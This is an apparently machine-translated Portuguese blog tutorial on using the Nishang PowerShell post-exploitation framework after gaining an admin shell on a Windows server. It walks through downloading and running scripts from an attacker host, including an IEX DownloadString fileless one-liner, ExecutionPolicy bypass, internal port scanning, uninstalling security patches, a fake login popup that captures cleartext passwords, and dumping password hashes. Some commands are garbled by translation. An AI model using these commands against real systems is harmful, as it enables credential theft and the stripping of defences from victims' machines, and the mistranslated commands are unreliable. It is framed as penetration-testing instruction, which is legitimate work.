Nishang: uma estrutura pós-exploração

recentemente, fiz um teste de penetração externa para um de nossos clientes, onde obtive acesso shell ao Windows Server 2012(servidor da Web interno sentado atrás de um IPS) com privilégios administrativos. Ele também parece ter um antivírus instalado no sistema, pois tudo o que eu estava enviando para a máquina estava sendo excluído rapidamente. Eu estava procurando todas as possibilidades para contornar esse problema e decidi prosseguir com o PowerShell. No momento em que você decide prosseguir com o PowerShell para sua exploração Pós, você realmente não precisa se preocupar em escrever seus próprios scripts para ganhar o jogo, pois há algumas opções disponíveis online. Um deles que eu realmente gostei é Nishang. Embora eu tenha observado essa estrutura desde o seu início, nunca tive a chance de usá-la nos testes de penetração do mundo real antes disso.

se você já se deparar com uma situação em que você precisa usar Nishang em seus pentests, contanto que você tenha acesso RDP à máquina remota, sua vida é fácil. No entanto, como você proceder quando RDP não está disponível e tudo que você tem é um shell remoto? Este artigo serve como uma introdução A Como usar Nishang quando você tem apenas um shell remoto.

o que é Nishang?

Nishang é uma estrutura de código aberto com vários scripts PowerShell poderosos que você pode usar durante a fase de pós-exploração de seu teste de penetração. Ele tem muitos scripts categorizados em várias categorias, como coleta de informações, digitalização, elevação de privilégios etc. Este artigo abordará alguns desses scripts em nenhuma ordem específica. O resto dos scripts são deixados para os leitores como um exercício, já que Nishang está bem documentado com algumas excelentes opções de Ajuda.

o objetivo principal deste artigo é introduzir Nishang e demonstrar como usar Nishang quando você tem shell remoto no sistema de destino.

configuração do Laboratório:

Antes de começar a ler o artigo, há poucos pontos a serem observados.

  1. existem poucas cargas úteis no Metasploit para obter um console PowerShell interativo na máquina da vítima. Isso significa que, ao usá-los, você obterá um PowerShell remoto, onde poderá executar seus cmdlets e scripts do PowerShell remotamente.
  2. Meterpreter não parece funcionar bem com o PowerShell. Isso significa que você pode não obter um console interativo do PowerShell quando tiver o shell Meterpreter e tentar obter o PowerShell usando o comando “powershell.exe ” no shell de comando.
  3. é sempre bom aprender coisas com um shell com recursos limitados, para que você obtenha o melhor do que está aprendendo. Isso significa que temos um shell interativo simples obtido da máquina remota usando o Netcat.

instalação

a figura a seguir mostra um shell com privilégios administrativos.

usaremos este shell para usar Nishang e explorar alguns de seus scripts.

Nishang está disponível no Kali Linux em “/usr/share/nishang/” diretório. Como alternativa, você pode baixá-lo no seguinte link.

https://github.com/samratashok/nishang

Vamos começar.

quando temos um shell remoto, existem algumas opções para executar scripts do PowerShell. No entanto, primeiro você precisa decidir entre as duas situações a seguir.

  1. você deseja baixar seus scripts para o disco e, em seguida, executar.
  2. Execute seus scripts sem tocar no disco.

vou com a primeira opção neste artigo. Se você estiver interessado na opção 2, dei o método no final do artigo.

Upload de arquivos para a máquina remota

o seguinte script de 3 linhas pode ser usado para baixar seus scripts para a máquina da vítima.

$client = New-Object System.Net.WebClient

$targetlocation = “http://192.168.56.103/Check-VM.ps1”

$o cliente.DownloadFile($targetlocation,”Check-VM.ps1″)

Estamos download de Check-VM.ps1 script para a máquina remota usando o script acima. Portanto, precisamos criar um arquivo com o script acima como seu conteúdo. Para fazer isso, basta digitar os seguintes comandos, um por um, no shell que obtivemos.

echo $cliente = New-Object Sistema.Líquida.WebClient > script.ps1

echo $targetlocation = “http://192.168.56.103/Check-VM.ps1” >> script.ps1

echo $cliente.DownloadFile($targetlocation,”Check-VM.ps1″) >> script.ps1

Isso parece como mostrado abaixo.

uma vez que você tenha seu script pronto no sistema de destino, execute-o como mostrado abaixo para que o script seja baixado na máquina remota.

powershell.exe-ExecutionPolicy Bypass-noninteractive-file script. ps1

como podemos ver na figura acima, o script Check-VM.ps1 foi baixado e está pronto para ação. Da mesma forma, você pode baixar qualquer script que desejar.

Check-VM

o primeiro script que tentaremos é Check-VM.ps1 que acabamos de baixar. Este script verifica se a máquina de destino está sendo executada dentro de uma VM. Ele verifica se há várias assinaturas para determinar se a máquina está sendo executada dentro de uma máquina Virtual. Por exemplo, se um processo chamado vboxtray.exe está em execução, pode ser caixa virtual. Da mesma forma, se a seguinte entrada de registro for encontrada, ela diz que é caixa virtual.

fazer isso manualmente pode ser problemático. Este script automatiza todo o processo para simplificar esta tarefa.

para executar este script, precisamos importar o módulo primeiro e, em seguida, chamar a função “Check-VM”. Como estamos em um shell remoto e não é interativo executar scripts do PowerShell, use o seguinte one-liner para fazer todo o processo de uma só vez.

Powershell.exe-exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempCheck-VM.ps1″; verificação-VM}”

como mostrado na figura acima, o script o identificou como caixa Virtual.

Port-Scan

o próximo script é Port-Scan. Este é um dos scripts mais úteis de Nishang. Uma vez, se você tiver acesso a uma máquina interna, encontrar os IPs internos e procurá-los em busca de portas abertas é sempre uma parte crucial da pós-exploração. Este script torna muito fácil encontrar os IPs ao vivo de um intervalo especificado e verificar se há portas abertas.

execute o seguinte script para verificar os IPs ao vivo entre 192.168.56.101 e 192.168.56.105. Depois disso, também procure portas abertas.

Powershell.exe-exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan-StartAddress 192.168.56.101-Endaddress 192.168.56.105-ResolveHost-ScanPort }”

aqui está a grandiosidade! Encontramos um controlador de domínio na rede de laboratório acima.

remover-Update

se você deseja remover quaisquer patches instalados na máquina de destino, este script é para você. Remove-Update script ajuda você a remover uma atualização da máquina de destino.

Primeiro, vamos verificar a lista de hot fixes instalados usando o cmdlet “Get-Hotfix”.

Agora, vamos tentar remover a segunda atualização KB2534366. Execute o script remover-atualizar conforme mostrado abaixo.

Powershell.exe –exec ignorar –Comando “& {Import-Module ‘C:UsersUserDesktoptempRemove-Update.ps1’; Remover-Atualização KB2534366}”

Como podemos ver na figura acima, a atualização terá sido removido. Podemos verificá-lo executando o mesmo cmdlet mais uma vez, conforme mostrado abaixo.

sucesso! A atualização foi removida.

Invoke-CredentialsPhish

este é um bom script para fazer phishing e receber o nome de usuário e senha da vítima em texto claro. A melhor parte é que você obterá o nome de usuário e a senha corretos, pois essa janela de phishing não desaparece até que a vítima insira o nome de usuário e a senha corretos.

execute o seguinte script no terminal.

Powershell.exe-exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1″; Invoke-CredentialsPhish}”

isso abrirá uma janela na máquina da vítima, conforme mostrado abaixo. Vamos primeiro inserir algum nome de usuário e senha aleatórios.

após alguns segundos, esta janela reaparecerá e o usuário terá que inserir as credenciais certas para se livrar da janela. Desta vez, vamos inserir as credenciais certas.

agora, vamos ver o que aconteceu no nosso terminal. J

recebemos o nome de usuário e a senha digitados pela vítima.

FireBuster

FireBuster é um dos scripts úteis para verificar as portas de saída que são abertas através do firewall. Este script pode ser testado usando outro script chamado FireListener, que atua como um ouvinte para testar a conexão. Como é para fins de teste, iniciei o netcat listener na porta 5555 e 5556 na máquina do invasor, em vez de usar FireListener. Agora, vamos executar o script a seguir para ver se essas portas são permitidas através do firewall para fazer conexões de saída.

Powershell.exe-exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempFireBuster.ps1″; FireBuster 192.168.56.103 5555-5556}”

como podemos ver na figura acima, a máquina vítima está fazendo conexões de saída através das portas especificadas.Vamos verificar outra rodada, mas desta vez, bloqueei as conexões de saída pela porta 5556 no meu firewall do windows na máquina da vítima.

Vamos executar o script mais uma vez e observar os resultados.

Bom, podemos ver que a porta 5556 não está listada na saída desta vez.

Get-PassHashes

despejar hashes de senha da máquina da vítima é uma das coisas comuns que vemos durante a pós-exploração. Get-PassHashes despeja os hashes de senha da máquina da vítima. Este módulo requer um shell elevado. Portanto, precisamos ignorar o UAC no shell remoto.

em um shell elevado, execute o seguinte script.

Powershell.exe-exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempGet-PassHashes.ps1″; Get-PassHashes}”

Como podemos ver na figura acima, temos todos os hashes.

se você quiser saber sobre os conceitos de desvio do UAC, por favor, leia o seguinte livro escrito por mim, Onde é explicado em detalhes.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

se você deseja baixar e executar os módulos acima mencionados sem tocar no disco, você pode usar o seguinte método.

powershell.exe-exec bypass-comando ” IEX (rede de novos objetos.WebClient).DownloadString (‘http://192.168.56.103/Check-VM.ps1’); Check-VM”

A Estrada do futuro

Existem muitos outros scripts úteis disponível em Nishang que podem ser usados durante os nossos testes de penetração e eu estou deixando-os para os leitores como um exercício como o conceito por trás do uso de qualquer script continuará a mesma. Outro kit de ferramentas do PowerShell chamado PowerSploit foi discutido anteriormente em nosso blog, que pode ser encontrado aqui.

para saber mais sobre Nishang suas últimas atualizações, siga seu blog aqui.

Deixe uma resposta

O seu endereço de email não será publicado.